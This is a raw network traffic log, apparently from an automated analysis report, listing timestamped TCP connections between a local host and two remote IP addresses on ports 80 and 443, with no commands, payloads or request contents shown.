Nov 23, 2024 09:16:29.683054924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.683154106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.683222055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.684144974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.684252024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.684312105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.685277939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.685336113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.685411930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.685461998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.686398029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.686469078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.686507940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.686559916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.687547922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.687601089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.687642097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.687681913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.688699961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.688785076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.688841105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.689785957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.689847946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.689914942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.689970016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.690929890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.690980911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.691052914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.691097975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.692020893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.695914030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.699894905 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.705843925 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:29.705867052 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.720119953 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:29.720145941 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.746251106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.746277094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.746304989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.746325016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.746576071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.746673107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.746717930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.747725010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.747769117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.747800112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.747800112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.748892069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.749001980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.749056101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.749973059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.750019073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.750096083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.750138998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.751115084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.751157999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.751218081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.751260042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.752237082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.752305031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.752327919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.752376080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.753369093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.753412962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.753448963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.753490925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.754499912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.754555941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.754637003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.754674911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.755649090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.755743980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.755791903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.756776094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.757167101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.757479906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.757893085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.757935047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.757998943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.758038998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.759032011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.759073019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.759114027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.759155035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.760149002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.760194063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.760238886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.761322975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.761362076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.761430025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.761465073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.762413025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.762454987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.762531996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.762571096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.763544083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.763582945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.763667107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.763703108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.764098883 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.764687061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.764744043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.764780045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.764852047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.765676975 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.765691042 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.765819073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.765923023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.765961885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.766949892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.766992092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.767033100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.767075062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.768085957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.768167019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.772078991 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:29.772123098 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.772598028 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:29.772603989 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.773178101 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:29.773211002 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.773592949 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:29.773597956 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.774648905 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:29.774663925 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.776284933 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:29.776290894 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.813699007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.813726902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.813832998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.813982010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.814018965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.814029932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.814063072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.815115929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.815170050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.815215111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.815257072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.816242933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.816308022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.816373110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.817050934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.817101002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.817137003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.817174911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.818183899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.818243980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.818279028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.818321943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.819386959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.819443941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.819588900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.819629908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.820486069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.820534945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.820548058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.820589066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.821580887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.821643114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.821676016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.821716070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.822736025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.822801113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.822818041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.822865963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.823941946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.824003935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.824004889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.824052095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.824985981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.825027943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.825077057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.825122118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.826109886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.826180935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.826256037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.826311111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.827244043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.827301025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.827344894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.827399015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.828386068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.828434944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.828491926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.828528881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.829495907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.829540014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.829595089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.829636097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.830671072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.830683947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.830718040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.830734968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.831835032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.831892014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.831897974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.831928968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.832887888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.832947969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.832992077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.833040953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.834069967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.834117889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.834120035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.834157944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.835153103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.835200071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.835205078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.835239887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.879195929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.879257917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.879308939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.879359961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.879935980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.879987955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.880062103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.880109072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.880769014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.880808115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.880817890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.880845070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.881891012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.881939888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.882242918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.882288933 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.882355928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.882400036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.883371115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.883418083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.883459091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.883503914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.884507895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.884557962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.884592056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.884639978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.885657072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.885704041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.885739088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.885785103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.886782885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.886831999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.886868000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.886914968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.887886047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.887933969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.888005018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.888051033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.889035940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.889081955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.889166117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.889221907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.890182972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.890234947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.890273094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.890321016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.891295910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.891344070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.891417980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.891464949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.892426968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.892472029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.892543077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.892592907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.951246977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.951308966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.951309919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.951350927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.951750040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.951795101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.951828957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.951869965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.952613115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.952672958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.952711105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.952752113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.953758001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.953808069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.953847885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.953891039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.954881907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.954938889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.954993963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.955035925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.956031084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.956084013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.956120014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.956187963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.957153082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.957201004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.957258940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.957303047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.958296061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.958350897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.958378077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.958440065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.959407091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.959462881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.959534883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.959579945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.960551977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.960582972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.960594893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.960618019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.961663008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.961710930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.961781979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.961826086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.962811947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.962862015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.962919950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.962961912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.963948011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.964003086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.964039087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.964099884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.965058088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.965117931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.965179920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.965225935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.966283083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.966339111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.966412067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.966453075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.967325926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.967386961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.967428923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.967472076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.968463898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.968508005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.968581915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.968626022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.969621897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.969665051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.969722986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.969765902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.970865011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.970912933 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.970972061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.971009970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.971869946 CET	80	49714	185.215.113.206	192.168.2.6
